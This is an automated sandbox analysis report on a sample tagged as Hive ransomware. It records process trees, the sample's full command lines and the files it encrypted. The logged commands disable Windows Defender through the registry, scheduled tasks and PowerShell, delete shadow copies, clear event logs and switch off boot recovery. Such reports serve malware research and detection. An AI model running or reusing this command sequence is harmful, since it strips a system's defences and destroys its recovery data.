PID 1580 wrote to memory of 1096 N/A C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe C:\Windows\system32\net.exe
PID 1580 wrote to memory of 1096 N/A C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe C:\Windows\system32\net.exe
PID 1580 wrote to memory of 1096 N/A C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe C:\Windows\system32\net.exe
PID 1096 wrote to memory of 528 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1096 wrote to memory of 528 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1096 wrote to memory of 528 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1580 wrote to memory of 1492 N/A C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe C:\Windows\system32\net.exe
PID 1580 wrote to memory of 1492 N/A C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe C:\Windows\system32\net.exe
PID 1580 wrote to memory of 1492 N/A C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe C:\Windows\system32\net.exe
PID 1492 wrote to memory of 620 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1492 wrote to memory of 620 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1492 wrote to memory of 620 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1580 wrote to memory of 1744 N/A C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe C:\Windows\system32\net.exe
PID 1580 wrote to memory of 1744 N/A C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe C:\Windows\system32\net.exe
PID 1580 wrote to memory of 1744 N/A C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe C:\Windows\system32\net.exe
PID 1744 wrote to memory of 1360 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1744 wrote to memory of 1360 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1744 wrote to memory of 1360 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1580 wrote to memory of 1872 N/A C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe C:\Windows\system32\net.exe
PID 1580 wrote to memory of 1872 N/A C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe C:\Windows\system32\net.exe
PID 1580 wrote to memory of 1872 N/A C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe C:\Windows\system32\net.exe
PID 1872 wrote to memory of 1072 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1872 wrote to memory of 1072 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1872 wrote to memory of 1072 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1580 wrote to memory of 1216 N/A C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe C:\Windows\system32\net.exe
PID 1580 wrote to memory of 1216 N/A C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe C:\Windows\system32\net.exe
PID 1580 wrote to memory of 1216 N/A C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe C:\Windows\system32\net.exe
PID 1216 wrote to memory of 1092 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1216 wrote to memory of 1092 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1216 wrote to memory of 1092 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1580 wrote to memory of 1544 N/A C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe C:\Windows\system32\net.exe
PID 1580 wrote to memory of 1544 N/A C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe C:\Windows\system32\net.exe
PID 1580 wrote to memory of 1544 N/A C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe C:\Windows\system32\net.exe
PID 1544 wrote to memory of 1192 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1544 wrote to memory of 1192 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1544 wrote to memory of 1192 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1580 wrote to memory of 1208 N/A C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe C:\Windows\system32\sc.exe
PID 1580 wrote to memory of 1208 N/A C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe C:\Windows\system32\sc.exe
PID 1580 wrote to memory of 1208 N/A C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe C:\Windows\system32\sc.exe
PID 1580 wrote to memory of 1780 N/A C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe C:\Windows\system32\sc.exe
PID 1580 wrote to memory of 1780 N/A C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe C:\Windows\system32\sc.exe
PID 1580 wrote to memory of 1780 N/A C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe C:\Windows\system32\sc.exe
PID 1580 wrote to memory of 864 N/A C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe C:\Windows\system32\sc.exe
PID 1580 wrote to memory of 864 N/A C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe C:\Windows\system32\sc.exe
PID 1580 wrote to memory of 864 N/A C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe C:\Windows\system32\sc.exe
PID 1580 wrote to memory of 1956 N/A C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe C:\Windows\system32\sc.exe
PID 1580 wrote to memory of 1956 N/A C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe C:\Windows\system32\sc.exe
PID 1580 wrote to memory of 1956 N/A C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe C:\Windows\system32\sc.exe
PID 1580 wrote to memory of 1720 N/A C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe C:\Windows\system32\sc.exe
PID 1580 wrote to memory of 1720 N/A C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe C:\Windows\system32\sc.exe
PID 1580 wrote to memory of 1720 N/A C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe C:\Windows\system32\sc.exe
PID 1580 wrote to memory of 1884 N/A C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe C:\Windows\system32\sc.exe

Processes

C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe

"C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe"

C:\Windows\system32\net.exe

net.exe stop "NetMsmqActivator" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "NetMsmqActivator" /y

C:\Windows\system32\net.exe

net.exe stop "SamSs" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "SamSs" /y

C:\Windows\system32\net.exe

net.exe stop "SDRSVC" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "SDRSVC" /y

C:\Windows\system32\net.exe

net.exe stop "SstpSvc" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "SstpSvc" /y

C:\Windows\system32\net.exe

net.exe stop "UI0Detect" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "UI0Detect" /y

C:\Windows\system32\net.exe

net.exe stop "VSS" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "VSS" /y

C:\Windows\system32\net.exe

net.exe stop "wbengine" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "wbengine" /y

C:\Windows\system32\net.exe

net.exe stop "WebClient" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "WebClient" /y

C:\Windows\system32\sc.exe

sc.exe config "NetMsmqActivator" start= disabled

C:\Windows\system32\sc.exe

sc.exe config "SamSs" start= disabled

C:\Windows\system32\sc.exe

sc.exe config "SDRSVC" start= disabled

C:\Windows\system32\sc.exe

sc.exe config "SstpSvc" start= disabled

C:\Windows\system32\sc.exe

sc.exe config "UI0Detect" start= disabled

C:\Windows\system32\sc.exe

sc.exe config "VSS" start= disabled

C:\Windows\system32\sc.exe

sc.exe config "wbengine" start= disabled

C:\Windows\system32\sc.exe

sc.exe config "WebClient" start= disabled

C:\Windows\system32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f

C:\Windows\system32\reg.exe

reg.exe delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "0" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f

C:\Windows\system32\schtasks.exe

schtasks.exe /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable

C:\Windows\system32\schtasks.exe

schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable

C:\Windows\system32\schtasks.exe

schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable

C:\Windows\system32\schtasks.exe

schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable

C:\Windows\system32\schtasks.exe

schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable

C:\Windows\system32\reg.exe

reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "Windows Defender" /f

C:\Windows\system32\reg.exe

reg.exe delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows Defender" /f

C:\Windows\system32\reg.exe

reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefender" /f

C:\Windows\system32\reg.exe

reg.exe delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f

C:\Windows\system32\reg.exe

reg.exe delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f

C:\Windows\system32\reg.exe

reg.exe delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f

C:\Windows\system32\vssadmin.exe

vssadmin.exe delete shadows /all /quiet

C:\Windows\system32\wevtutil.exe

wevtutil.exe cl system

C:\Windows\system32\wevtutil.exe

wevtutil.exe cl security

C:\Windows\system32\wevtutil.exe

wevtutil.exe cl application

C:\Windows\System32\Wbem\wmic.exe

wmic.exe SHADOWCOPY /nointeractive

C:\Windows\System32\Wbem\wmic.exe

wmic.exe shadowcopy delete

C:\Windows\system32\bcdedit.exe

bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures

C:\Windows\system32\bcdedit.exe

bcdedit.exe /set {default} recoveryenabled no

C:\Windows\system32\cmd.exe

cmd.exe /c "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All

C:\Program Files\Windows Defender\MpCmdRun.exe

"C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All

C:\Windows\system32\cmd.exe

cmd.exe /c powershell Set-MpPreference -DisableIOAVProtection $true

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Set-MpPreference -DisableIOAVProtection $true

C:\Windows\system32\cmd.exe

cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Set-MpPreference -DisableRealtimeMonitoring $true

Network

N/A

Files

memory/1248-55-0x0000000000000000-mapping.dmp

memory/2044-56-0x0000000000000000-mapping.dmp

memory/672-57-0x0000000000000000-mapping.dmp

memory/2040-58-0x0000000000000000-mapping.dmp

memory/1096-59-0x0000000000000000-mapping.dmp

memory/528-60-0x0000000000000000-mapping.dmp

memory/1492-61-0x0000000000000000-mapping.dmp

memory/620-62-0x0000000000000000-mapping.dmp

memory/1744-63-0x0000000000000000-mapping.dmp

memory/1360-64-0x0000000000000000-mapping.dmp

memory/1872-65-0x0000000000000000-mapping.dmp

memory/1072-66-0x0000000000000000-mapping.dmp

memory/1216-67-0x0000000000000000-mapping.dmp

memory/1092-68-0x0000000000000000-mapping.dmp

memory/1544-69-0x0000000000000000-mapping.dmp

memory/1192-70-0x0000000000000000-mapping.dmp

memory/1208-71-0x0000000000000000-mapping.dmp

memory/1780-72-0x0000000000000000-mapping.dmp

memory/864-73-0x0000000000000000-mapping.dmp

memory/1956-74-0x0000000000000000-mapping.dmp

memory/1720-75-0x0000000000000000-mapping.dmp

memory/1884-76-0x0000000000000000-mapping.dmp

memory/1728-77-0x0000000000000000-mapping.dmp

memory/1816-78-0x0000000000000000-mapping.dmp

memory/916-79-0x0000000000000000-mapping.dmp

memory/1392-80-0x0000000000000000-mapping.dmp

memory/1600-81-0x0000000000000000-mapping.dmp

memory/1368-82-0x0000000000000000-mapping.dmp

memory/1540-83-0x0000000000000000-mapping.dmp

memory/892-84-0x0000000000000000-mapping.dmp

memory/528-85-0x0000000000000000-mapping.dmp

memory/1976-86-0x0000000000000000-mapping.dmp

memory/240-87-0x0000000000000000-mapping.dmp

memory/820-88-0x0000000000000000-mapping.dmp

memory/968-89-0x0000000000000000-mapping.dmp

memory/556-90-0x0000000000000000-mapping.dmp

memory/1140-91-0x0000000000000000-mapping.dmp

memory/1524-92-0x0000000000000000-mapping.dmp

memory/984-93-0x0000000000000000-mapping.dmp

memory/1724-94-0x0000000000000000-mapping.dmp

memory/1856-95-0x0000000000000000-mapping.dmp

memory/1396-96-0x0000000000000000-mapping.dmp

memory/960-97-0x0000000000000000-mapping.dmp

memory/1488-98-0x0000000000000000-mapping.dmp

memory/1900-99-0x0000000000000000-mapping.dmp

memory/1516-100-0x0000000000000000-mapping.dmp

memory/1092-101-0x0000000000000000-mapping.dmp

memory/1936-102-0x0000000000000000-mapping.dmp

memory/1340-103-0x0000000000000000-mapping.dmp

memory/1812-104-0x0000000000000000-mapping.dmp

memory/1716-105-0x0000000000000000-mapping.dmp

memory/1616-106-0x0000000000000000-mapping.dmp

memory/592-107-0x0000000000000000-mapping.dmp

memory/1972-108-0x0000000000000000-mapping.dmp

memory/1324-109-0x0000000000000000-mapping.dmp

memory/1032-110-0x0000000000000000-mapping.dmp

memory/1100-111-0x0000000000000000-mapping.dmp

memory/1708-112-0x0000000000000000-mapping.dmp

memory/1904-113-0x0000000000000000-mapping.dmp

memory/1904-114-0x000007FEFC031000-0x000007FEFC033000-memory.dmp

memory/436-115-0x0000000000000000-mapping.dmp

memory/1604-117-0x0000000000000000-mapping.dmp

memory/524-119-0x0000000000000000-mapping.dmp

memory/1932-120-0x0000000000000000-mapping.dmp

memory/396-121-0x0000000000000000-mapping.dmp

memory/2092-123-0x000007FEF3420000-0x000007FEF3F7D000-memory.dmp

memory/2092-124-0x0000000002920000-0x0000000002922000-memory.dmp

memory/2092-125-0x0000000002922000-0x0000000002924000-memory.dmp

memory/2092-126-0x000000000292B000-0x000000000294A000-memory.dmp

memory/2092-127-0x0000000002924000-0x0000000002927000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

MD5 9f30b793b0aafa568f5e0fa9cd73815a
SHA1 79ad92f9e1f49339d4f7d849bafdef34bd946eca
SHA256 be927cdd0de8e02e7f26db2f0f83ccc2d1f9c3d091eec71391b08e2ed6cd3933
SHA512 667443d0b1aed9a4bcd687b6a1409c1d6ef896f5809743ac3bada9063070a4cb69c870f9e1020f7c17ae05976f330b4b773ec9a97b0a4e3ecad8e0a11abc05b7

memory/2184-130-0x000007FEF2A80000-0x000007FEF35DD000-memory.dmp

memory/2184-131-0x0000000002570000-0x0000000002572000-memory.dmp

memory/2184-132-0x0000000002572000-0x0000000002574000-memory.dmp

memory/2184-133-0x0000000002574000-0x0000000002577000-memory.dmp

memory/2184-134-0x000000000257B000-0x000000000259A000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2022-01-12 16:26

Reported

2022-01-12 16:31

Platform

win10-en-20211208

Max time kernel

193s

Max time network

196s

Command Line

"C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe"

Signatures

Deletes Windows Defender Definitions

evasion
Description Indicator Process Target
N/A N/A C:\Program Files\Windows Defender\MpCmdRun.exe N/A

Hive

ransomware hive

Modifies Windows Defender Real-time Protection settings

evasion trojan

Modifies security service

evasion
Description Indicator Process Target
Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WinDefend\Start = "4" C:\Windows\SYSTEM32\reg.exe N/A

Clears Windows event logs

evasion ransomware

Deletes shadow copies

ransomware

Modifies boot configuration data using bcdedit

ransomware evasion
Description Indicator Process Target
N/A N/A C:\Windows\SYSTEM32\bcdedit.exe N/A
N/A N/A C:\Windows\SYSTEM32\bcdedit.exe N/A

Reads user/profile data of web browsers

spyware stealer

Drops file in Program Files directory

Description Indicator Process Target
File opened for modification C:\Program Files\Microsoft Office\root\Office16\MEDIA\DRUMROLL.WAV.v4msMFGVBE3WWM1skHt_kxF-8lYmOJpwMMXtTX7XghD_OgAAADoAAAA0.bvddx C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe\images\OneNoteNotebookMedTile.scale-100.png C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.OneConnect_2.1701.277.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\contrast-black\OneConnectWideTile.scale-125.png C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe\AppxMetadata\CodeIntegrity.cat C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe N/A
File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\images\contrast-black\HxA-Yahoo-Light.scale-200.png C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\en-gb\ui-strings.js.v4msMFGVBE3WWM1skHt_kxF-8lYmOJpwMMXtTX7XghD_AAAAAAAAAAA0.bvddx C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe N/A
File opened for modification C:\Program Files\Common Files\System\Ole DB\es-ES\oledb32r.dll.mui.v4msMFGVBE3WWM1skHt_kxF-8lYmOJpwMMXtTX7XghD_AAAAAAAAAAA0.bvddx C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe N/A
File opened for modification C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\Lumia.ViewerPlugin\Assets\IconOpenInRefocus.contrast-white_scale-100.png C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe N/A
File opened for modification C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\PhotosMedTile.scale-125.png C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.MSPaint_1.1702.28017.0_x64__8wekyb3d8bbwe\Assets\Images\Stickers\Sticker_Eye.png C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe\Assets\contrast-black\PeopleMedTile.scale-200.png C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\file_types\sendforcomments.svg.v4msMFGVBE3WWM1skHt_kxF-8lYmOJpwMMXtTX7XghD_AAAAAAAAAAA0.bvddx C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe N/A
File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\locale\org-netbeans-api-visual_ja.jar.v4msMFGVBE3WWM1skHt_kxF-8lYmOJpwMMXtTX7XghD_LAAAACwAAAA0.bvddx C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\MondoR_SubTest2-ppd.xrm-ms.v4msMFGVBE3WWM1skHt_kxF-8lYmOJpwMMXtTX7XghD_AAAAAAAAAAA0.bvddx C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe N/A
File opened for modification C:\Program Files\Common Files\microsoft shared\MSInfo\es-ES\msinfo32.exe.mui.v4msMFGVBE3WWM1skHt_kxF-8lYmOJpwMMXtTX7XghD_GAAAABgAAAA0.bvddx C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\SkypeApp\Designs\Emoticons\small\lipssealed.png C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe\Assets\SecondaryTiles\Work\contrast-black\WideTile.scale-200.png C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe N/A
File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\images\offsymxl.ttf C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\Microsoft.People.Relevance.winmd C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_x64__8wekyb3d8bbwe\Assets\Themes\Autumn\autumn_12s.png C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\_Resources\18.rsrc C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe N/A
File opened for modification C:\Program Files (x86)\Common Files\System\Ole DB\de-DE\msdasqlr.dll.mui.v4msMFGVBE3WWM1skHt_kxF-8lYmOJpwMMXtTX7XghD_LAAAACwAAAA0.bvddx C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe N/A
File created C:\Program Files\Microsoft Office\root\Office16\MSIPC\sr-Cyrl-RS\rFSH_HOW_TO_DECRYPT.txt C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe N/A
File opened for modification C:\Program Files\7-Zip\Lang\lv.txt.v4msMFGVBE3WWM1skHt_kxF-8lYmOJpwMMXtTX7XghD_AAAAAAAAAAA0.bvddx C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\ProPlus2019R_OEM_Perp4-ul-phn.xrm-ms.v4msMFGVBE3WWM1skHt_kxF-8lYmOJpwMMXtTX7XghD_AAAAAAAAAAA0.bvddx C:\Users\Admin\AppData\Local\Temp\87967600b0f6026f97093416dcd7ec38f740adaf84757255c179180873b41177.exe N/A
